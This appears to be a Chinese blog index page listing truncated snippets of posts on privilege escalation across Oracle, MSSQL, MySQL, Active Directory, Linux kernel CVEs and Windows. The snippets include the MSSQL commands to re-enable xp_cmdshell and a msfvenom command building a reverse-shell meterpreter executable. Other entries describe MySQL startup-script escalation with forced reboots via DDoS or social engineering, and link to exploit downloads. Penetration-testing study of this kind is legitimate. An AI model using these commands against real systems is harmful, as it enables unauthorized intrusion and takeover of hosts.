Oracle 10g提权测试
一直想摸索一下orcl提权的方式，今天测试了一下10g，可以成功提权。C:\wmpub>sqlplus scott/tiger@orclSQL*Plus: Release 10.2.0.1.0 - Production on 星期一 10月 31 07:41:29 2016Copyright ...
滥用DNSAdmins权限进行Active Directory提权
0x00 前言除了在实现自己的DNS服务器功能之外，Microsoft还为该服务器实现自己的管理协议以便于管理与Active Directory域集成。默认情况下，域控制器也是DNS服务器; 大多数情况下每个域用户都需要访问和使用DNS服务器的功能。反过来，这会在域控制器上暴露出相当多的攻击面：一方...
SQL2005之SA提权总结
首先，看看xp_cmdshell存在不,不存在的话先恢复下。Exec sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;然后，Exec master.dbo...
CVE-2017-0213 | 记一次失败的提权经历
环境：CVE-2017-0213下载提权步骤：提权失败。。。。好迷啊，，，，事后查了一下补丁我的wind7上也没装啊，然后防火墙也是关闭的迷了迷了。。。。...
对vulnhub靶机lampiao的getshell到脏牛提权获取flag
前言：vulnhub里面的一个靶场，涉及到drupal7 cms远程代码执行漏洞（CVE-2018-7600）和脏牛提权。靶机下载地址：https://mega.nz/#!aG4AAaDB!CBLRRYQsAhTOyPJqyjC0Blr-weMH9QMdYbPfMj0LGeM0x01信息收集第一步打...
Ubuntu Linux 12.04 LTS amd64系统本地root提权
URL:http://www.ichunqiu.com/section/173由于fusermount二进制调用setuid的(geteuid())重置RUID时，它调用/bin/mount才能使用的特权挂载选项，通常是限制的。但是，如果RUID！= euid ,ruid(实际用户ID,指的是进程执...
CVE-2017-16995 Ubuntu16.04本地提权漏洞复现
0x01 前言 该漏洞由Google project zero发现。据悉，该漏洞存在于带有 eBPF bpf(2)系统（CONFIG_BPF_SYSCALL）编译支持的Linux内核中，是一个内存任意读写漏洞。该漏洞是由于eBPF验证模块的计算错误产生的...
Ubuntu本地提权（CVE-2017-16995）复现
面向新手，大佬勿喷 漏洞概述 2018-03-16有网友发布消息：ubuntu 最新版本（Ubuntu 16.04）存在高危的本地提权漏洞，漏洞编号为CVE-2017-16995。该漏洞存在于调用eBPF bpf(2)的Linux内核系统中，当用户提供恶意BPF程序使eBPF验证器模块产生计算错误，...
Msf提权步骤
1、生成反弹木马(脚本，执行程序)msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe -o shell.exe2、...
mssql提权
MSSQL的提权： xp_cmshell组件的开启： 1、sql2005版本以后默认为关闭状态，需要开启命令执行 开启xp_cmdshell EXEC sp_configure ‘show advanced options‘, 1;RECONFIGURE;EXEC sp_configure ‘xp...
[提权]MS16-016提权EXP
MS16-016提权EXP[K8]Tested On Win7 x86Usage: ms16-016_win7.exe "whoami"by K8拉登哥哥 20160216下载：http://pan.baidu.com/s/1c1r45c0...
win2003服务器一招废掉所有木马(防提权)
木马的危害，在于它能够远程控制你的电脑。当你成为“肉鸡”的时候，别人（控制端）就可以进入你的电脑，偷看你的文件、盗窃密码、甚至用你的QQ发一些乱七八糟的东西给你的好友
WINDOWS渗透与提权总结(1)
旁站路径问题：1、读网站配置。2、用以下VBS：01On Error Resume Next02 03If (LCase(Right(WScript.Fullname, 11)) = "wscript.exe") Then04 05MsgBox Space(12) & "IIS Virtua...
《Python黑帽子：黑客与渗透测试编程之道》 Windows系统提权
利用WMI监视进程#coding=utf-8import win32conimport win32apiimport win32securityimport wmiimport sysimport osdef log_to_file(message): fd = open("process_m...
Linux中的提权说明(chmod)
先放一张Linux上的截图，我们再来以下内容 在Linux上输入 ll命令我们可以得到如上的类似图片，就拿我用红框圈出来的内容，我们一起来探究吧。 前面的 drwxrwxrwt这就是文件或者文件夹的权限说明。 权限构成 Linux上用来标识文件或者文件夹的权限的是前面...
mysql提权常用方法。 hack某某
一般是root权限，知道mysql root权限，root账号密码启动项提权：原理：利用高权限的root写入一个vbs脚本到启动项，再通过一些方法如ddos,社工管理员之类的方法来让服务器重启，运行脚本，达到提取目的1、查看我们进入数据库中有些什么数据表mysql>show tables;默认...
Windows中使用命令行给普通用户提权成管理员组
在进入CMD后1. 首先查看当前用户信息net user UserName2. 新建用户、修改密码新建用户 net user add UserName修改密码 net user UserName *3 将用户加入到本地组net localgroup administrators UserNam...
ansible提权操作-普通用户运行playbooks进行提权
环境：1、普通用户(密码账户已知)2、该用户已经添加了sudo权限准备：1、cd /home/123touch ./hosts#创建hosts配置文件，123是普通用户名vi /etc/ansible.cgf#然后在ansible.cfg中修改主机清单inventory为当前目录（/home/123...
某国产电商 APP 利用 Android 漏洞细节曝光：内嵌提权代码、动态下发 Dex
近日，独立安全研究机构 DarkNavy 发表文章披露，国内一家互联网巨头的 APP 利用了 Android 系统漏洞提权使其难以卸载。报道称，该 APP 首先利用了多个厂商 OEM 代码中的反序列化漏洞提权，提权控制手机系统之后，该 App 即开启了一系列的违规操作，绕过隐私合规监管，大肆收集用户...
Windows平台提权缝隙调集，逛码云的小收获
这两天逛了一下码云，不测的看到了这个库，，就收集下来了。缝隙列表如下:#Security Bulletin #KB #Description #Operating SystemCVE-2017-0213 [Windows COM Elevation of Privilege Vulnerabilit...